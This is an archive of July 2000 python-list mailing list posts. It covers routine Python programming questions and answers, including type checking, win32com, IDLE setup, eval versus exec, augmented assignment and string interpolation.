> 	Umm, sort of. I guess the top-level script still has to be a
.py file.

I don't think it is needed. Python can check if a .pyc already exists
for your top-level script. But I'm not 100% sure...

--
Frederic van der Plancke
e-mail address: reverse and add dot-at-dot to:
      <com writeme vdplancke frederic>
(I don't read <fplancke at my-deja.com> regularly.)


Sent via Deja.com http://www.deja.com/
Before you buy.


From thomas at xs4all.net  Tue Jul 18 17:10:47 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 18 Jul 2000 23:10:47 +0200
Subject: Type checking in python?
In-Reply-To: <fRZc5.1487$6E.293353@ptah.visi.com>; from hopper@omnifarious.mn.org on Tue, Jul 18, 2000 at 09:29:31AM -0600
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com>
Message-ID: <20000718231047.D4283@xs4all.nl>

On Tue, Jul 18, 2000 at 09:29:31AM -0600, Eric Hopper wrote:

[ interfaces ]

> > In general, the Python philosophy is to "just try it" and see if it
> > works. Sometimes type checks are appropriate but if you do it on the
> > entry to every function, you are probably doing too much work and making
> > your own life (or someone else's) harder later on.
> 
> Oh, yes.  Inheritance by mysteriously coiniciding method names.  How fun.

Nono, it's not inheritance. It's *interfaces* :) Inheritance is done the
plain old way, well known to those used to OO languages.

> Just accepting any old type, and letting it error out when it tries to
> access a non-existent attribute is very confusing for people trying to use
> your code.  Heck, maybe you store away their object, and then call the
> offending method at some random later point.  I bet it'd be a heck of a
> lot of fun to try to trace down why the exception happened then.

Well, I've more than once written a debug object that behaved like another
object but with debug output. Without subclassing, because I would've had to
override all methods anyway, and I didn't want the debug class to *do*
anything.

If you insist on type-checking, do it the interface-way:

getattr(object, "required_method")
getattr(object, "required_datatype")
[etc]

Though I'd encourage you to add some docstrings and consider your users
smart enough to read the docstrings. Most python programmers are, really ;)

> Type checking and the scoping rules are the only two problems I have with
> Python so far.  Other than that, it's a wondefrul language.

Scoping is incredibly simple in Python. There's the local scope, and the
global scope ;) It might take some getting used to if you're used to magic
or explicit scopes, but it's definately very simple ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From alin at clicktomarket.com  Mon Jul 10 16:47:46 2000
From: alin at clicktomarket.com (Angela Lin)
Date: Mon, 10 Jul 2000 13:47:46 -0700
Subject: Application testing
References: <8kdafd$2nj$1@bob.news.rcn.net>
Message-ID: <8kdcj1$fj3$1@bob.news.rcn.net>

 I need to carry out some testing of a cgi application from a Browser
client.
 I have been informed that I can use Python (or some of it's extensions) to
 capture and replay the http traffic between the Browser and the Webserver
to
 simulate a user session. Unfortunately I've not been able to find any
 information on this usage in the books I've looked at so far. I am also
 interested in any other applications free or otherwise which would allow me
 to do this.

 I would like to be able to capture the traffic and edit it to allow
modified
 replays of sessions. Can anbody help with this? Should I be looking at
other
 news groups for these features?

 Thanks.




From claird at starbase.neosoft.com  Wed Jul 19 17:37:26 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 19 Jul 2000 16:37:26 -0500
Subject: newb question
References: <39761E61.1E2191B4@tcgfinancial.com>
Message-ID: <F8A2164213A10C1B.DAA3EE7B0696B503.03D290858C8D0471@lp.airnews.net>

In article <39761E61.1E2191B4 at tcgfinancial.com>,
jtoy  <toyboy at toy.eyep.net> wrote:
			.
			.
			.
>Second, can you tell me how I could run this program as a dameon, again
>not OS dependent, because while I know you can put a Python script in
>cron,  how can you do the same with windows?
			.
			.
			.
Being a daemon is OS-dependent.  With Win*, you want
to learn about "Services".  You can install a Python
script as a Win* service approximately as easily as
putting it in cron.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From bjorn at roguewave.com  Mon Jul 24 13:49:09 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 24 Jul 2000 11:49:09 -0600
Subject: Searching a binary file
References: <yfmu2dfv5xv.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me>
Message-ID: <397C8195.E7DA03A3@roguewave.com>

  import string
  string.find( open('my_binary_file','rb').read(), '****' )

-b

luthi at vaw.baug.ethz.NOSPAM.ch wrote:
> 
> What is the fastest way to search a binary file for a certain byte pattern
> (**** in my case)?
> 
> I came up with this solution, but I guess there is a better way to do
> it. Thanks for all suggestions.
> 
> Martin Luethi
> 
> =====
> 
> # constants
> MaxFileSizeInMemory = 10*1000*1000
> 
> file = open('my_binary_file', 'b')
> 
> file.seek(0,2)                   # set the pointer to the end of the file
> filesize = file.tell()           # get the size of the file
> file.seek(0)                     # reset the file pointer
> rex = re.compile(r'[\*]{4}')     # the bytes to search for
> starpointer = []                 # position of the '****' in the file
> oldpos = 0
> for i in range(filesize/MaxFileSizeInMemory + 1):
>     data = self.file.read(MaxFileSizeInMemory) # read a chunk of bytes
>     m = rex.search(data)
>     while m:                     # find all '****' in this chunk
>         pos = m.start() - 4      # corrected for the length of '****'
>         incpointer.append(pos + i*MaxFileSizeInMemory)
>         m = rex.search(data, pos + 10)
>         oldpos = pos
> file.close()                     # close the file
> 
> --
> ============================================================
> Martin Luethi                   Tel. +41 1 632 40 92
> VAW ETH Zuerich
> CH-8092 Zuerich                 mail luthi at vaw.baum.ethz.ch
> Switzerland
> ============================================================
> --
> http://www.python.org/mailman/listinfo/python-list



From news at heitlager.com  Tue Jul 11 08:23:16 2000
From: news at heitlager.com (Ilja Heitlager)
Date: Tue, 11 Jul 2000 14:23:16 +0200
Subject: corr: win32com: How to use optional parameters?
References: <8ket8e$nj6$1@spectra.a2000.nl>
Message-ID: <8kf3i4$1gu$1@spectra.a2000.nl>

There was a small error in my example:
>
>    xl.Worksheets.Add After:=xl.Worksheets.Count
>

should be in VB:

     xl.Worksheets.Add After:=xl.Worksheets(xl.Worksheets.Count)

So in Python it becomes:

    xl.Worksheets.Add(After=xl.Worksheets(xl.Worksheets.Count))

Which PythonCom sees as the first argument (the Before), argh.

PS I am using Pythoncom  Version 1.5.2, build 129

Please guys help me out, I hate to do all my work in VB (if possible ;-)

Ilja




From ryanbooz at alumni.psu.edu  Mon Jul 31 23:19:07 2000
From: ryanbooz at alumni.psu.edu (Ryan Booz)
Date: Mon, 31 Jul 2000 23:19:07 -0400
Subject: Running IDLE other than root?
Message-ID: <398641AB.2B44194C@alumni.psu.edu>

**** Post for FREE via your newsreader at post.usenet.com ****

Hey all,

I'm trying to do a quick learn of Python this summer to begin teaching
it at school middle of the year.  Compiled it the other night and have
begun working through a book, "The Quick Python Book".  Decided to try
and use IDLE and when logged in as regular user, it give the message
I've seen others getting:

Traceback (innermost last):
  File "/usr/lib/python1.5/site-packages/idle.py", line 2, in ?
    import PyShell
  File "/usr/lib/python1.5/site-packages/PyShell.py", line 12, in ?
    from Tkinter import *
  File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 8, in ?
    import _tkinter # If this fails your Python may not be configured
for Tk
ImportError: No module named _tkinter

I understand that everyone (including the book) said that this is a Tk
problem.  Not being built.  Thing is, when I log in as root (not su in),
IDLE works fine.  Importing of _tkinter works fine.  Any thoughts?  I
would like to get this running.  Of course I would like to try the Emacs
helper also.

thanks for the help,
Ryan Booz
Tech Coordinator
Belleville Mennonite School


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 *** Usenet.com - The #1 Usenet Newsgroup Service on The Planet! ***
                      http://www.usenet.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


From schmertz at wam.umd.edu  Sat Jul 15 20:22:36 2000
From: schmertz at wam.umd.edu (Bob Schmertz)
Date: Sat, 15 Jul 2000 20:22:36 -0400
Subject: converting tcl database file to python
References: <3970F455.58A6CAD3@uniserve.com>
Message-ID: <3971004C.93FEC29F@wam.umd.edu>

Bob van der Poel wrote:

> also thinking that this is dumb. If I were using C I'd use a structure
> like this:
>
>         typedef struct{
>                 char *Title, *Artist, *Composer, *Timing;
>         }CDITEM;
>         typedef struct{
>                 char *Name;
>                 char *Comment;
>                 char *CDItem[];
>         }CDENTRY;
>
>         CDENTRY Mydata[maxtitles];
>
> Or something like that. Any suggestions on how that would translate to a
> proper python idiom?
>

Did you consider a CdItem class?

class CDITEM():
    def __init__(self, name, comment, etc):
        self.name = name
        self.comment = comment
        self.etc = etc

mydata = []
mydata.append(CDITEM("Thriller", "gift from my mom", "more stuff"))

> 2. Any quick ideas on how to convert the tcl-style data file to
> something python can deal with?

Tcl's probably what I'd go with for this.  Haven't dealt with it for a while,
though.

-
Cheers,
Bob Schmertz





From shapr at uab.edu  Mon Jul 31 10:51:04 2000
From: shapr at uab.edu (Shae Erisson)
Date: Mon, 31 Jul 2000 14:51:04 GMT
Subject: Accessing NIC configuration via Python
References: <8Rfh5.23380$07.914891@news1.rdc1.on.wave.home.com>
Message-ID: <39859222.B41786BF@uab.edu>

Micheal Kelly wrote:

> Unfortunately, this wasn't quite what I was after.  What I'd really like
> to get is low-level NIC configuration information, such as the device
> names of all configured ethernet cards (eth0, eth1... ethx), their IP
> addresses, netmasks, etc.
> 
> I could do this by parsing the output of ifconfig, but for various reasons
> don't want to do that.  Is there any sort of low-level interface that I
> can access via Python to get this information?  I've looked through /proc
> to see if there was something I could read, but nothing that seems to
> contain the information I'm after.

I'd suggest browsing around in /proc/net/
My /proc/net/arp looked like it had most of the information you wanted,
I wasn't sure if the netmask there is the real netmask though.
/proc/sys/net/ also appears to contain useful information.

-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From thomas at xs4all.net  Wed Jul 19 15:41:29 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 19 Jul 2000 21:41:29 +0200
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
In-Reply-To: <3975E3B3.E910A668@eecis.udel.edu>; from boncelet@eecis.udel.edu on Wed, Jul 19, 2000 at 01:21:55PM -0400
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <3hitu4wiq9.fsf@angband.org> <3975C0FA.3A45B105@eecis.udel.edu> <3975D208.2E297375@prescod.net> <3975E3B3.E910A668@eecis.udel.edu>
Message-ID: <20000719214128.H9897@xs4all.nl>

On Wed, Jul 19, 2000 at 01:21:55PM -0400, Charles Boncelet wrote:
> Paul Prescod wrote:

> I agree it should be selective about the features it adds.  But 
> sometimes (no, *often*) I believe it is too selective and too slow 
> to change. "+=", for instance, should have been added years ago.  
> C had it in the 1970's; Perl had it in the 1980's. Python does 
> not yet have it. Stodginess like this puts off a lot of programmers.

Any idea why are += and friends still not implemented, after 5+ years of
Python development ? Guido and Tim both claim they wanted it years ago. Yet
noone came forward and implemented it, and Guido and Tim were both too busy
with more important things. And everyone else would have had to code up to
their standards, which is no small feat ;-)

Eventually it got coded. Michael Hudson wrote a simple proof of concept, and
that got me started on Python internals, which are really incredibly simple.
Using a single posting by Guido and a clarification from Tim, which Tim
claims hasn't changed significantly in the last year at least, it took me,
as a complete Python-internals newbie, a total of about 12 hours to rewrite
Michael's patch to one that did everything Guido wanted, and was only a
little buggy. And I'm not that special a programmer that noone else could've
done it, either.

So, what's the difference between Python and Perl ? Well, maybe the number
of programmers that also program C, and are comfortable with hacking a large
program like Python ? Or maybe Python programmers are generally more happy
with Python's limited featureset than Perl programmers are with Perl's ? :)
Probably a combination of both.

I discussed Perl/Python internals with our resident perl guru. I only heard
a small bit about Perl internals, but I heard enough to wonder how people
ever got new features added to Perl ;)

> Python would be more popular.  Witness Perl: it has adopted lots of 
> ideas from its userbase and has grown immensely as a result. 

Why would people want another Perl ? There already is one. It already does
everything.

> (IMHO, the main problem with Perl is not that it has adopted lots of
> ideas, but that it didn't have a firm foundation to begin with. I.e.,
> the core language is broken.  Python's core language is much stronger
> and Python would be improved with some additions.)

Probably, yes. But it wouldn't have a strong core if all those features
already were in there ;) Python has a strong core *because* Guido has always
been conservative in his changes. And in his coding style. And in a ton of
small things, that might not matter by themselves but all together they
damned well make the language what it is.

Which doesn't mean in the slightest bit that he won't change anything. He
just needs a good reason, and 'seems logical' can be a very good reason.
Which is why augmented assignment (+=), list comprehensions and range
literals are beign considered for 2.0: Guido literally asked for the last
one, himself.

(And to prove a point: he also asked for parallel iteration, literally, but
that patch isn't going in: he was out-voted ;) and instead it'll be a
builtin: zip)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From alex at magenta.com  Fri Jul  7 11:42:35 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 7 Jul 2000 17:42:35 +0200
Subject: os.system
References: <8k23tg$38me$1@www.univie.ac.at> <39653D15.E4DE6131@pehr.net> <8k45ut0190a@news2.newsguy.com> <8k4rep$28j8$1@www.univie.ac.at>
Message-ID: <8k4tvt0260t@news2.newsguy.com>

Matthias Huening <matthias.huening at univie.ac.at> wrote in message
news:8k4rep$28j8$1 at www.univie.ac.at...
>
> Alex Martelli :
>
> > Not all that difficult:
> >
> > >>> import win32api
> > >>> win32api.ShellExecute(0,"open","c:\\pippo.htm",None,"",0)
>
> Thanks! That's exactly what I was looking for.

Always glad to be of help.

> I had found another solution on this group:
>
> > import win32com.client
> > ie=win32com.client.Dispatch('InternetExplorer.Application.1')
> > ie.Visible=1
> > ie.Navigate("http://www.python.org/")
>
> Disadvantage: this only works for one browser (in this case IE).

Advantage: you can do a *LOT* of beautiful things to an
application that you've started via Automation, as well
as making it visible/invisible, and asking it to navigate
somewhere; with ShellExecute or similar methods you just
don't get that much power and flexibility.

I remember seeing on the net a COM/Automation "decorator"
for Netscape Navigator (I forget which exact version of Navigator
it needed), implementing exactly the InternerExplorer.Application
interface of IE, to allow interchangeability (alas, only to
"skin-deep": Navigator just can't expose the HTML Document
Object Model in a W3C-compliant way, the way IE can, sigh).


> > > I'd recommend browsing "Python for Win32" if you are serious
> > > about surviving under windows.
> >
> > Yes, and I'm not even sure that would suffice (is ShellExecute
> > documented there?  I'm familiar with it, because I routinely
> > program under Win32 with other languages, so that's the first
> > thing I looked for when trying to do something equivalent to
> > a "start" from commandline, but I'm not sure how a Win32 newbie
> > would learn about it...).
> >
> > Hammond's book is excellent, and so are his win32* extensions,
> > but there might still be lots of difficulty for programmers
> > that are not familiar at all with Win32 and its API's.
>
> That's exactly my problem. I am not much of a programmer, but sometimes I
> need a script to get things done and that is what I use Python for. I
think
> Python is a good all purpose language for the CP4E-kind-of-people like me
> (I tried Perl before...). But the Win API's remain mysterious for me, at
> least till now.

Hammond's book will help!  But maybe there's a niche for a Win32-novice-
friendly way to approach some common Win32 tasks, in a Python package
written on top of Hammond's splendid modules; e.g., a "start" function
exactly mimicking the commandline "start" verb of Win32, which is easy
to build on top of win32api.ShellExecute but might be more intuitive.


Akex





From thomas at xs4all.net  Fri Jul 21 18:30:44 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sat, 22 Jul 2000 00:30:44 +0200
Subject: Dynamic package exploration
In-Reply-To: <3978CDBA.5859E594@rational.com>; from spierre@rational.com on Fri, Jul 21, 2000 at 10:24:58PM +0000
References: <3978CDBA.5859E594@rational.com>
Message-ID: <20000722003043.F9897@xs4all.nl>

On Fri, Jul 21, 2000 at 10:24:58PM +0000, Sebastien Pierre wrote:

>  I cannot reference any Python object using an absolute name...

It's not an 'absolute name'. the 'os.name' isn't like a full path to a
filename. It merely references the attribute 'name' of object 'os'. 

>  Example :
>   >>print os.name
>   fails....
>  But if I do
>   >>import os
>   >>print os.name
>  It works - so I guess you have to "import" first before being able to
> reference anything.

If they are modules, yes. If you do 'os.name' without importing os, Python
can't know which 'os' you are talking about ! After all, 'os' isn't a magic
name, it just happens to be the name of an often used module.

>  But if I do :
>   >>eval ( "import os" )
>  It doesn't work...so it prevents me from doing something
> dynamic...Ouch!

That's because you're using the wrong function. 'eval' can only evaluate
*expressions*, and 'import' is a *statement*. You need to use 'exec'.

> Let's say I have a package A that contains 10 python files. What I want
> to do is dynamically inspect the content of A (the 10 python files), and
> check if those python files have the attribute called
> '__my_attribute__'. Then I want to register these attributes in a list.

Try using 'dir()' and/or 'getattr()'. The documentation on those should give
a few hints.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From robin at jessikat.fsnet.co.uk  Thu Jul 20 03:27:05 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 08:27:05 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
 <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local>
 <3976371F.210C2C21@uab.edu> <8l5lne$lb$1@slb0.atl.mindspring.net>
Message-ID: <RH0$yvAJnqd5Ew3M@jessikat.fsnet.co.uk>

In article <8l5lne$lb$1 at slb0.atl.mindspring.net>, Aahz Maruch
<aahz at netcom.com> writes
>In article <3976371F.210C2C21 at uab.edu>, Shae Erisson  <shapr at uab.edu> wrote:
>>
>>I already have a function that does this in my handy shaetools module,
>>for me it will always be interleave.
>
>Oh, *that's* a good one.  All right, anyone else agree that "interleave"
>is the best suggestion we've had so far?

far too long and why not intersperse 

I'm still not sure why this function can't be defined in python and the
name decision deferred. After all we've had this problem up to now with
for loops and no one has complained.

map(None, [1,2],[3,4]) --> [(1, 3), (2, 4)]

has worked for me up to now. These list comprehensions seem to be
driving this particular thread, so what do list comprehenders use?
-- 
Robin Becker


From robin at illusionsexeculink.com  Fri Jul 21 09:21:27 2000
From: robin at illusionsexeculink.com (robin at illusionsexeculink.com)
Date: Fri, 21 Jul 2000 09:21:27 -0400
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007200934550.23388-100000@sundial> <8l75im$sc$1@sunnews.cern.ch>
Message-ID: <n5jgnso37n9co0lfngdbrk4ibc0j88l2v7@4ax.com>

garabik at center.fmph.uniba.sk.spam (Radovan Garabik) wrote:

>nah... WWIII will be started with this code:
>
>def check_if_there_is_an_attack():
>    ....
>    if ....:
>        return 0
>    else:
>	return 1
>
>if check_if_there_is_an_attack:
>    launch_counterattack()

For those who remember the seventies... and eighties... and... it's
more like:

def is_there_an_attack():
    return launch_attack():

def launch_attack():
    if is_there_an_attack():
        launch_attack()
    return 1

is_there_an_attack()

-----
robin                          robin at illusionsexeculink.com
media artist /                 remove illusions to reply
information architect          www.execulink.com/~robin/

"I choked on my words but just couldn't spit. It will affect a lot of
physics --  it should have fallen from a bridge, but..." an official
said Wednesday. He was 74.  


From richard at cogsci.ed.ac.uk  Thu Jul 13 14:04:55 2000
From: richard at cogsci.ed.ac.uk (Richard Tobin)
Date: 13 Jul 2000 18:04:55 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com>
Message-ID: <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk>

In article <8kkuuv$ohu$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com> wrote:

>    If you said what you were trying to do someone would show
>you how to do it without trying to change the class of an
>instance.

I can see plenty of other ways to do it myself, thanks.  For example,
changing the relevant methods of the instance.

>    I can't imagine there being any _argument_ about whether
>it's a good idea...

It's not as if it's a previously-unheard-of idea I've dreamt up; on
the contrary it is explicitly provided in some other well-known object
systems (eg change-class in CLOS).

-- Richard
-- 
Spam filter: to mail me from a .com/.net site, put my surname in the headers.

"The Internet is really just a series of bottlenecks joined by high
speed networks." - Sam Wilson


From db3l at fitlinxx.com  Mon Jul 24 20:41:19 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 24 Jul 2000 20:41:19 -0400
Subject: Variables in strings..
References: <8lh75e+tjtl@eGroups.com> <119330503709.20000724135021@buz.ch>
Message-ID: <u1z0j2g9c.fsf@ctwd0143.fitlinxx.com>

Gabriel Ambuehl <gabriel_ambuehl at buz.ch> writes:

> Hello Steve,
> Monday, July 24, 2000, 12:52:30 PM, you wrote:
> 
> >   print "Hello %s" % names[1]
> > to the eyes of anyone but a Perl afficionado.
> 
> Perhaps. But in real world (tm) CGI scripts, one needs more than just
> one variable in there. I've got Perl scripts who insert aroun 40
> variables (including array slices) during one print <<"EOF"
> instruction. I could live with the "%(myvar)" % vars() syntax if there
> would be a possibility to reference to lists and dictionary entries as
> well. Without it, it's a real pain to quickly write CGI scripts.

It sounds like what you just want is a module that can interpret
variables within strings more like you're used to with Perl :-)

By pure chance I happened across one recently at
http://www.lfw.org/python/Itpl15.py.  From the module's docstring:

  This module lets you quickly and conveniently interpolate values into
  strings (in the flavour of Perl or Tcl, but with less extraneous
  punctuation).  You get a bit more power than in the other languages,
  because this module allows subscripting, slicing, function calls,
  attribute lookup, or arbitrary expressions.  Variables and expressions
  are evaluated in the namespace of the caller.

  The itpl() function returns the result of interpolating a string, and
  printpl() prints out an interpolated string.  Here are some examples:

      from Itpl import printpl
      printpl("Here is a $string.")
      printpl("Here is a $module.member.")
      printpl("Here is an $object.member.")
      printpl("Here is a $functioncall(with, arguments).")
      printpl("Here is an ${arbitrary + expression}.")
      printpl("Here is an $array[3] member.")
      printpl("Here is a $dictionary['member'].")

  (...)


--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From ra at box.net.au  Thu Jul 27 10:52:19 2000
From: ra at box.net.au (Michael Lunnay)
Date: Fri, 28 Jul 2000 00:22:19 +0930
Subject: cgi dectection
Message-ID: <39804dc7_1@news.chariot.net.au>

is there a standard way to detect if script is being run as a cgi script or
from the command line. I am creating a script that can be run from both and
obviously want the cgi to output HTML but the cammnd line to print text.

Michael




From kelley at bioreason.com  Fri Jul 14 08:55:48 2000
From: kelley at bioreason.com (Brian Kelley)
Date: Fri, 14 Jul 2000 13:55:48 +0100
Subject: string issue or questions about intern
References: <396EEAFF.3AD7B951@bioreason.com> <396F87C4.6B3C9FAE@schneider-kamp.de>
Message-ID: <396F0DD3.B391503@bioreason.com>

> Mhh. I compiled the current CVS (==soon to be 2.0) version without
> cyclic garbage collection.
>
> while 1:
>   eval('"AAAAA"')
>

That works for me as well under 1.5.2 (that is no memory consumption).
What I am really doing is:

eval('"AAAAA"')
eval('"AAAAB"')
eval ('"AAAAC"')
.
.
.

in the while loop which does appear to eat memory.

>
> I monitored with top for quite a while, but there was no increase
> in memory consumption. *Maybe* this got fixed?!
>
> Peter
> --
> Peter Schneider-Kamp          ++47-7388-7331
> Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
> N-7050 Trondheim              http://schneider-kamp.de

--
Brian Kelley          Bioreason, Inc
505 995-8188 ext 207  150 Washington St Suite 303
kelley at bioreason.com  Santa Fe, NM, 87501




From grey at despair.rpglink.com  Fri Jul 28 20:52:33 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 00:52:33 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org>
Message-ID: <slrn8o4aid.7dm.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 19:29:52 -0400, Karl Ulbrich <kulbrich at yahoo.com> wrote:
>If they already contained numbers (well, strings of digits), and you were
>certain, then simply:

>	a = int(b)

    As stated, that would work except Python returns a None on a no-match and
None can't be converted.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From olivierS.dagenaisP at canadaA.comM  Mon Jul 17 15:31:42 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 17 Jul 2000 19:31:42 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com>
Message-ID: <yaJc5.128072$HK2.2182550@news20.bellglobal.com>

I have been following this thread for a while, and I thought of something:

Maybe the solution isn't to modify Python (although the ability to overload
arbitrary operators might be cool), but to create a "solution" that
understands these new operators and can still run Python code.

We can write a "MatrixPython compiler" (or maybe it would be a
pre-processor) that takes a file that uses Huaiyu's operators and spews out
"normal" Python code.  The "compiler" would pass through all non-matrix
specific code and substitute matrix operators with function calls or
something.

Just an idea...
--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Bjorn Pettersen" wrote in message news:39735D6E.8E3349D9 at roguewave.com...
> Huaiyu Zhu wrote:
>
> [snip]
>
> > As to the claim that additional operators for linear algebra is somehow
> > comparable to the special syntaxes/quirks of various programming
languages,
> > no real argument has been presented so far.  It's more like: If I don't
care
> > and don't use such things, they must belong to a special domain and be
> > somehow comparable to some other things that I do know and dislike.
>
> On the contrary. The argument is something like the following:
>
>  - Python is a general purpose language, and as such it can't
>    support special case syntax for Matrix/cgi/xml/db programming.
>    (special syntax has previously been requested for both cgi and
>    db programming).
[snip]




From jlecomte at ifrance.com  Wed Jul 19 08:26:50 2000
From: jlecomte at ifrance.com (=?iso-8859-1?Q?J=E9r=F4me_Lecomte?=)
Date: Wed, 19 Jul 2000 13:26:50 +0100
Subject: Python et Question sur Linux
Message-ID: <8l43gh$j3u$1@broadway.news.is-europe.net>

Salut,

J'ai commenc? ? regarder Python. Ca a l'air vraiment bien (plus facile
et plus clair que Perl et mieux int?gr? avec le reste du monde que
tout ce que j'ai vu jusqu'a pr?sent). Tu connais ?

Mon fr?re envisage d'installer Linux sur son PC (266Mhz) pour
programmer. Il faut compter combien de DD pour ?tre confortable. 500Mo
peut faire l'affaire, ou il faut 1Go min.

J?r?me.



From alwyns at prism.co.za  Thu Jul 27 06:43:53 2000
From: alwyns at prism.co.za (Alwyn Schoeman)
Date: Thu, 27 Jul 2000 12:43:53 +0200
Subject: C++ Extension problem
Message-ID: <20000727104354.3359D1DC99@nevyn.prism.co.za>

Hi there,

I recently used SWIG to make a python extension of Linas's C++ library.  The 
problem is that it would work on one linux box running say mandrake 7.0 and 
then not work on another running debian, etc.

How can this be? termios should be the same across the board, etc?

Thank  you
Alwyn Schoeman




From nobody at nowhere.nohow  Fri Jul 21 20:43:41 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 22 Jul 2000 00:43:41 GMT
Subject: iterating over lines in a file
References: <75F7304BB41CD411B06600A0C98414FCB36815@ORSMSX54>
Message-ID: <176e5.1997$6E.436345@ptah.visi.com>

On Fri, 21 Jul 2000 15:42:17 -0700, Daley, Mark W <mark.w.daley at intel.com> wrote:

>Isn't the argument for readlines() a memory size, as in 512 bytes?  If so,
>it is possible to have 3509 lines that are <= 512 bytes.

Last time I counted, a newline took up one byte in a file for
Unix/MacOS and two bytes for MS-DOS/Windows. Therefore, the
upper bound is 512 for number of lines in a 512 byte file.

There may be some degenerate way to put more that 512 lines in
a 512 byte file under one the eight gazillion file formats
supported by VMS, but off the top of my head, I don't think so.

NB: it looked like to me that the size in question was the sum
of the lengths of all of the lines read, and not the number of
lines read.

-- 
Grant Edwards                   grante             Yow!  I'm sitting on my
                                  at               SPEED QUEEN... To me,
                               visi.com            it's ENJOYABLE... I'm
                                                   WARM... I'm VIBRATORY...


From xiarcexml at yahoo.com  Mon Jul 17 14:23:35 2000
From: xiarcexml at yahoo.com (Dave Williams)
Date: Mon, 17 Jul 2000 11:23:35 -0700 (PDT)
Subject: Does Python code >.require<< a run-time environment?? (New to   Python)
Message-ID: <20000717182335.20026.qmail@web5303.mail.yahoo.com>

Thanks, George... that might answer my question...

I don't need it even to be ONE file, only not-requiring someone to DL
the VM to run it.. My users are not savvy with basic dos functions,
let alone with virtual machines, programming languages, etc..

If they can be zipped, and then unzipped, and double-clicked... then
perhaps python has answered my need.

(Now only how to re-write my GUIs in Tkinter... ah well.. I can add a
language a month to my repertoire)
~Dave


Previous Conversation:::::
Paul Prescod wrote:

> Gordon McMillan wrote:
> > 
> > ...
> > > For Python, you want to look
> > >at
> > >
> > >http://starship.python.net/crew/gmcm/distribute.html
> > >
> > >For Java, at "jexegen.exe".
> > 
> > Sorry, Paul, the latter does not bundle in the interpreter. It
> > just packages up byte code and uses a small exe to start your
> > MS JVM.
> 
> True, I forgot that because the MS JVM tends to be installed. I
> think I may have exaggerated the features of the former too. Is
> there any easy way to make a single executable for Python, the
> standard library, required .pyd's and your code? My vague
> impression is that you could if you had a compiler and the source
> for your pyd's, or else you could fall back on an installer
> (rather than a single big runnable app).
;
;It doesn't create a single statically linked exe. That's kind of 
;hard without a compiler. It does track down all your 
;dependencies (at least those not masked by import hooks) 
;including (on Windows) dlls that your pyds might depend on. 
;You end up with an exe and some pyds / dlls in one directory. 

;You can then choose how to distribute. You can use a 
;installer, (or WinZip), or let Installer create one for you, or even

;send out a one file exe that unzips itself each time it's run.
;
;The major point being that there's no requirement for Python 
